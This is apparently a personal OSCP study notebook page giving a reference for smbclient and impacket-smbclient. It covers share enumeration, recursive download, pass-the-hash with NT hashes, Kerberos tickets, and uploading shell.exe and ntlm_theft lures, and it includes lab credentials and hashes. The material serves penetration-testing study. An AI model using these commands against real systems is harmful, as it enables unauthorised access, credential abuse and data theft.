Pearson's OSCP Notebook

smbclient

Properties1
tagssmbclient, smb, file-transfer, enumeration, shares, pass-the-hash, impacket-smbclient

6 min read

**

smbclient — SMB Share Client Reference

What is smbclient?

smbclient is a command-line SMB client (part of the Samba suite) that lets you interact with Windows file shares from Linux. Think of it like an FTP client but for SMB — you can list, browse, download, and upload files.

Ctrl+F: smbclient · Apps · --pw-nt-hash · impacket-smbclient · -hashes · laser.com

External: Internal All The Things — Shares

OSCP use: Browse SMB shares, download creds/configs, verify slinky lures — PtH via --pw-nt-hash or impacket-smbclient.

Syntax

smbclient [options] //TARGET/SHARE
smbclient -L //TARGET [options]       # List shares
impacket-smbclient administrator@10.10.10.10 -hashes ':NT_HASH'
  • use the alt if needed

📌 1) All Flags

FlagDescription
-L //TARGETList available shares on the target
-NNo password — null/anonymous session
-U <user>Specify username (-U username or -U domain/username)
-U <user%pass>Username and password inline (-U admin%password)
-W <domain>Specify workgroup / domain
-p <port>Target port (default: 445)
-I <ip>Connect to this IP (override DNS)
-c "<cmd>"Execute a semicolon-separated list of commands non-interactively
-t <timeout>Connection timeout in seconds
--no-passSame as -N (no password prompt)
-kUse Kerberos authentication
--pw-nt-hashTreat -U password as an NT hash (pass-the-hash)
-d <level>Debug level (0–10)
-m <smb-version>Force SMB version: NT1 (SMBv1), SMB2, SMB3
--option=<key>=<val>Set a smb.conf option inline

📌 2) Listing Shares

# Anonymous / null session
smbclient -L //10.10.10.10 -N
 
# With credentials
smbclient -L //10.10.10.10 -U admin%password
 
# Domain account
smbclient -L //10.10.10.10 -U DOMAIN/username%password
 
# Pass-the-Hash (NT hash only)
smbclient -L //10.10.10.10 -U admin --pw-nt-hash -N
# Set password as the NT hash string when prompted

📌 3) Connecting to a Share

# Anonymous
smbclient //10.10.10.10/ShareName -N
 
# With credentials
smbclient //10.10.10.10/ShareName -U admin%password
 
# Domain account — FQDN in user string (lab style)
smbclient //192.168.121.173/Apps/ -U 'laser.com/Eric.Wallows'
# Password prompted — or inline: -U 'laser.com/Eric.Wallows%EricLikesRunning800'
 
# Common share names to try
smbclient //10.10.10.10/C$ -U admin%password        # C drive (admin)
smbclient //10.10.10.10/ADMIN$ -U admin%password    # Admin share
smbclient //10.10.10.10/IPC$ -N                     # IPC (used for RPC)

📌 4) Interactive Shell Commands

Once connected (smb: \>), use these commands:

CommandDescription
lsList files and directories
dirAlias for ls
cd <dir>Change directory on the share
pwdPrint current remote directory
!pwdPrint local (attacker) current directory
!lsList local directory

File Transfer

CommandDescription
get <file>Download a single file
get <file> <localname>Download and rename locally
mget <pattern>Download multiple files (mget *.txt)
put <file>Upload a single file
put <file> <remotename>Upload and rename on share
mput <pattern>Upload multiple files
prompt offDisable confirmation prompts for mget/mput
recurse onEnable recursive directory operations

Native smbclient only — impacket-smbclient supports put / get / mget but not mput. Bulk upload → 📌 7) Bulk upload (mount / smbclient mput).

Miscellaneous

CommandDescription
mkdir <dir>Create a directory on the share
rmdir <dir>Remove a directory
del <file>Delete a file
rename <old> <new>Rename a file
allinfo <file>Show extended file attributes
stat <file>File status info
logon <user>Switch to a different user
exit / quitDisconnect
helpShow all available commands

📌 5) Non-Interactive Usage (-c)

Run commands without entering the shell — great for scripting:

# List contents of a share
smbclient //10.10.10.10/Share -N -c "ls"
 
# Download a specific file
smbclient //10.10.10.10/Share -U admin%password -c "get secret.txt"
 
# Download all txt files non-interactively
smbclient //10.10.10.10/Share -N -c "prompt off; mget *.txt"
 
# Upload a file
smbclient //10.10.10.10/Share -U admin%password -c "put shell.exe"
 
# Bulk upload (ntlm_theft folder, multiple lures)
smbclient //TARGET/Share -U user%pass -c "prompt off; mput *"
 
# Chain multiple commands
smbclient //10.10.10.10/Share -U admin%password -c "cd Reports; ls; get report.xlsx"

📌 6) Recursive Download (Entire Share)

# Method 1: smbclient with recurse + mget
smbclient //10.10.10.10/Share -N -c "prompt off; recurse on; mget *"
 
# Method 2: smbget (simpler recursive download)
smbget -R smb://10.10.10.10/Share -U admin%password
 
# Anonymous smbget
smbget -R smb://10.10.10.10/Share --no-pass

📌 7) Bulk upload (mount / smbclient mput)

When dropping many files (e.g. full ntlm_theft output folder) — don’t put one-by-one.

impacket-smbclient — put / get / mget only (no mput). Use mount or native smbclient for bulk uploads.

Mount CIFS + copy (best for large batches)

sudo mkdir -p /mnt/shared
sudo mount -t cifs //flight.htb/Shared /mnt/shared \
  -o username=s.moon,password='S@Ss!K@*t13'
 
cp htb/* /mnt/shared/
cp -r Report/* /mnt/shared/
 
sudo umount /mnt/shared

Native smbclient mput

smbclient //flight.htb/Shared -U s.moon
smb: \> prompt off
smb: \> mput *
 
# One-liner
smbclient //flight.htb/Shared -U 'user%pass' -c "prompt off; mput *"

→ ntlm_theft > Step 3b — Bulk upload many lures (don’t put 20 times) · File Transfer

📌 8) Pass-the-Hash

Native smbclient (--pw-nt-hash)

# Inline NT hash (LM empty — colon optional)
smbclient //10.10.10.10/C$ -U 'DOMAIN\Administrator%31d6cfe0d16ae931b73c59d7e0c089c0' --pw-nt-hash
 
# Prompt for hash
smbclient //10.10.10.10/C$ -U Administrator --pw-nt-hash
# Password: <paste NT hash only>
 
# List shares with hash
smbclient -L //10.10.10.10 -U 'celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd' --pw-nt-hash
impacket-smbclient administrator@10.10.10.10 -hashes ':NT_HASH'
  • use the alt tool if needed

Impacket smbclient.py — Kerberos (-k)

After Kerberos Setup - krb5.conf + impacket-getTGT / kinit:

export KRB5CCNAME=svc_ldap.ccache
 
# voleur.htb — browse as restored/roasted user (ticket, no password)
impacket-smbclient -k todd.wolfe@dc.voleur.htb
 
# Domain FQDN target
impacket-smbclient -k -no-pass voleur.htb/todd.wolfe@DC.voleur.htb

→ Use Kerberos Ticket · Kerberos Scripts > getTGT

Impacket smbclient.py (-hashes)

# User@IP — NT hash only (no LM)
impacket-smbclient celia.almeda@192.168.160.141 -hashes :e728ecbadfb02f51ce8eed753f3ff3fd
 
# Domain user
impacket-smbclient domain.htb/celia.almeda@192.168.160.141 -hashes :NTHASH
 
# Interactive share shell — same syntax as impacket-wmiexec PtH
impacket-smbclient CORP.LOCAL/administrator@10.10.10.10 -hashes :NTHASH

→ Impacket · Use Kerberos Ticket (Kerberos: -k instead of -hashes)

📌 9) Forcing SMB Version

# Force SMBv1 (for older/legacy targets)
smbclient //10.10.10.10/Share -N -m NT1
 
# Force SMBv2
smbclient //10.10.10.10/Share -N -m SMB2

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# List shares — anonymous
smbclient -L //TARGET -N
 
# List shares — with creds
smbclient -L //TARGET -U username%password
 
# Connect to share — anonymous
smbclient //TARGET/ShareName -N
 
# Connect to share — with creds
smbclient //TARGET/ShareName -U username%password
smbclient //192.168.121.173/Apps/ -U 'domain.htb/user%password'
 
# Pass-the-Hash — native smbclient
smbclient //TARGET/Share -U 'user%NTHASH' --pw-nt-hash
 
# Pass-the-Hash — Impacket
impacket-smbclient user@TARGET -hashes :NTHASH
 
# Kerberos ticket — voleur.htb
export KRB5CCNAME=todd.wolfe.ccache
impacket-smbclient -k todd.wolfe@dc.voleur.htb
 
# Once connected — download everything
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
 
# Non-interactive download
smbclient //TARGET/Share -N -c "prompt off; recurse on; mget *"
 
# Upload a file (e.g. shell)
smbclient //TARGET/Share -U admin%password -c "put shell.exe"

Graph View

Backlinks